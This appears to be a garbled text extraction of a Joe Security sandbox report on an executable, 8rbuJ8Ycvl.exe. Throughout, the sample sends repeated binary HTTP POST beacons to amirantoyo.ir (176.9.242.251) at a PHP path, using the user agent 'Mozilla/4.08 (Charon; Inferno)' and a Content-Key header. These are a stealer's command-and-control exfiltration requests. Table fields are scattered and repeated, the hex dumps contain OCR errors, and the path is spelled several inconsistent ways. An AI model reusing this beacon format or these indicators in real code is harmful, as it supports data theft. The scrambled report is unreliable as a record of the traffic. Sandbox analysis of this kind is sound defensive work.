Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:47 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
492 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
493 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
494 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
495 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
496 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
497 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
498 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
499 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
5 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50271

Direction

Source Port

50272

Direction

Source Port

50273

Direction

Source Port

50274

Direction

Source Port

50275

Direction

Source Port
50276

Direction

Source Port
50277

Direction

Source Port
50278

Direction

Source Port

49778

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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Timestamp

Jul 20, 2021
18:36:26.322751045 CEST

Jul 20, 2021
18:36:26.472402096 CEST

Session ID

50

Timestamp

Jul 20, 2021
18:36:47.923154116 CEST

Jul 20, 2021
18:36:48.071357965 CEST

Session ID
500

Timestamp

Session ID
501

Timestamp

Session ID
502

Timestamp

Session ID
503

Timestamp

Session ID

504

kBytes
transferred

7375

7376

Source IP

192.168.2.4
kBytes

transferred

7438

7438

Source IP
192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

Source IP
192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49823

Direction

ouT

Source Port
50279

Direction

Source Port
50280

Direction

Source Port
50281

Direction

Source Port
50282

Direction

Source Port

50283

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:26 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:48 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
505 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
506 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
507 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
508 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
509 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
51 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7439

18:36:48.381151915 CEST

Jul 20, 2021 7440
18:36:48.531711102 CEST

Session ID Source IP
510 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
511 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50284

Direction

Source Port

50285

Direction

Source Port

50286

Direction

Source Port

50287

Direction

Source Port

50288

Direction

Source Port
49824

Direction
ouT

Source Port

50289

Direction

Source Port

50290

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:48 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
512 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
513 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
514 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
515 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
516 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
517 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
518 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
519 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
52 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50291

Direction

Source Port

50292

Direction

Source Port

50293

Direction

Source Port

50294

Direction

Source Port

50295

Direction

Source Port
50296

Direction

Source Port
50297

Direction

Source Port
50298

Direction

Source Port

49825

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7440
18:36:48.846427917 CEST

Jul 20, 2021 7441
18:36:49.000106096 CEST

Session ID Source IP
520 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
521 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
522 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
523 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
524 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
525 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
526 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
527 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50299

Direction

Source Port

50300

Direction

Source Port

50301

Direction

Source Port
50302

Direction

Source Port
50303

Direction

Source Port
50304

Direction

Source Port
50305

Direction

Source Port

50306

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:48 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
528 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
529 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
53 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7442

18:36:49.301580906 CEST

Jul 20, 2021 7442
18:36:49.446347952 CEST

Session ID Source IP
530 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
531 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
532 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
533 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
534 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50307

Direction

Source Port

50308

Direction

Source Port

49826

Direction

ouT

Source Port
50309

Direction

Source Port
50310

Direction

Source Port
50311

Direction

Source Port

50312

Direction

Source Port

50313

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:49 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
535 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
536 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
537 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
538 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
539 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
54 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7443

18:36:49.727952957 CEST

Jul 20, 2021 7444
18:36:49.874598026 CEST

Session ID Source IP
540 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
541 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50314

Direction

Source Port

50315

Direction

Source Port

50316

Direction

Source Port

50317

Direction

Source Port

50318

Direction

Source Port
49827

Direction
ouT

Source Port
50319

Direction

Source Port

50320

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:49 GMT
Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
542 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
543 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
544 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
545 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
546 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
547 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
548 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
549 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
55 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

50321

Direction

Source Port

50322

Direction

Source Port

50323

Direction

Source Port

50324

Direction

Source Port

50325

Direction

Source Port
50326

Direction

Source Port
50327

Direction

Source Port
50328

Direction

Source Port

49828

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7445
18:36:50.166346073 CEST

Jul 20, 2021 7445
18:36:50.312033892 CEST

Session ID Source IP
550 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
551 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
552 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
553 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
554 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
555 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
556 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
557 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

50329

Direction

Source Port

50330

Direction

Source Port

50331

Direction

Source Port
50332

Direction

Source Port
50333

Direction

Source Port
50334

Direction

Source Port

50335

Direction

Source Port

50336

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:50 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
558 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
559 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
56 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7446

18:36:50.627510071 CEST

Jul 20, 2021 7446
18:36:50.779843092 CEST

Session ID Source IP
560 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
561 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
562 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
563 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
564 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

50337

Direction

Source Port

50338

Direction

Source Port

49829

Direction

ouT

Source Port
50339

Direction

Source Port
50340

Direction

Source Port
50341

Direction

Source Port

50342

Direction

Source Port

50343

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:50 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

565 192.168.2.4 50344
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

566 192.168.2.4 50345
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

567 192.168.2.4 50346
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

568 192.168.2.4 50347
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

57 192.168.2.4 49830
kBytes

Timestamp transferred Direction

Jul 20, 2021 7447 ouT

18:36:51.117141008 CEST

Jul 20, 2021 7448 IN
18:36:51.266805887 CEST

Session ID Source IP Source Port

58 192.168.2.4 49831
kBytes

Timestamp transferred Direction

Jul 20, 2021 7449 ouT

18:36:51.634059906 CEST

Copyright Joe Security LLC 2021

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:51 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close
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kBytes
Timestamp transferred

Jul 20, 2021 7449
18:36:51.779499054 CEST

Session ID Source IP
59 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7450

18:36:52.089314938 CEST

Jul 20, 2021 7451
18:36:52.242670059 CEST

Session ID Source IP
6 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7377

18:36:26.846138000 CEST

Jul 20, 2021 7377
18:36:26.999804020 CEST

Session ID Source IP
60 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7451

18:36:52.544291973 CEST

Jul 20, 2021 7452
18:36:52.693422079 CEST

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49832

Direction

ouT

Source Port

49779

Direction

ouT

Source Port
49833

Direction
ouT

Data

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:51 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:52 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:26 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:52 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.
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Session ID Source IP

61 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7453

18:36:53.011930943 CEST

Jul 20, 2021 7453
18:36:53.158868074 CEST

Session ID Source IP
62 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7454

18:36:53.484095097 CEST

Jul 20, 2021 7455
18:36:53.634164095 CEST

Session ID Source IP
63 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7456

18:36:53.938755989 CEST

Jul 20, 2021 7456
18:36:54.085928917 CEST

Session ID Source IP

64 192.168.2.4
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49834

Direction

ouT

Source Port

49835

Direction

ouT

Source Port
49836

Direction
ouT

Source Port

49837

Direction

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:53 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

